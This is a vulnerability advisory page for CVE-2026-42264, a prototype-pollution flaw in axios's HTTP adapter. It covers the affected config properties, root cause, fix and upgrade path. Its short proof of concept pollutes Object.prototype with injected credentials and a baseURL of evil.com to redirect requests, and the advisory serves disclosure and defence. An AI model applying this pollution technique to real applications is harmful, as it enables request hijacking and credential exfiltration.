CVE-2026-42264 — Vulnerability in axios — CVE Details
Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.00%). Schedule for your next planned update.
Does your project use an affected axios version?
Paste your package-lock.json to check it for CVE-2026-42264 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.
Affected Properties
config.auth(lib/adapters/http.jsline 617) Injects attacker-controlledAuthorizationheader on all requests.config.baseURL(lib/helpers/resolveConfig.jsline 18) Redirects all requests using relative URLs to an attacker-controlled server.config.socketPath(lib/adapters/http.jsline 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).config.beforeRedirect(lib/adapters/http.jsline 698) Executes attacker-supplied callback during HTTP redirects.config.insecureHTTPParser(lib/adapters/http.jsline 712) Enables Node.js insecure HTTP parser on all requests.
Proof of Concept
const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
Impact
- Credential injection: Every axios request includes an attacker-controlled
Authorizationheader, leaking request contents to any server that logs auth headers. - Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
- SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
- Code execution: Attacker-supplied functions execute during HTTP redirects.
- Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.
Root Cause
mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.
The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.
Suggested Fix
Apply the existing own() helper to all affected properties:
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.
Advisory Timeline
- First published May 5, 2026 (205 days ago).
- Last revised September 10, 2026 — 128 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install axios@1.15.2
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| axios npm · Affected: All versions | 1.15.2 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-1321Prototype PollutionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.4 score means for each attack dimension.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
References
- https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jjWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-42264ADVISORY
- https://github.com/axios/axios/pull/10779WEB
- https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aaWEB
- https://github.com/axios/axiosPACKAGE
- https://github.com/axios/axios/releases/tag/v1.15.2WEB
Frequently Asked Questions
- What is CVE-2026-42264?
- Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.4/10).
- How do I check if my project is affected by CVE-2026-42264?
- CVE-2026-42264 affects axios. It has a 1.0% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42264 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 61.7% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2025-58754HIGH
Axios is vulnerable to DoS attack through lack of data size check
- CVE-2026-42043HIGH
Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0
- CVE-2026-101907HIGH
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
- CVE-2026-42037MEDIUM
Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream
- CVE-2026-101899MEDIUM
Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges
- CVE-2026-101900MEDIUM
Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders
- CVE-2026-67312MEDIUM
Axios: Deep formToJSON Key Recursion Can Cause Denial of Service
- CVE-2026-42036MEDIUM
Axios: HTTP adapter streamed responses bypass maxContentLength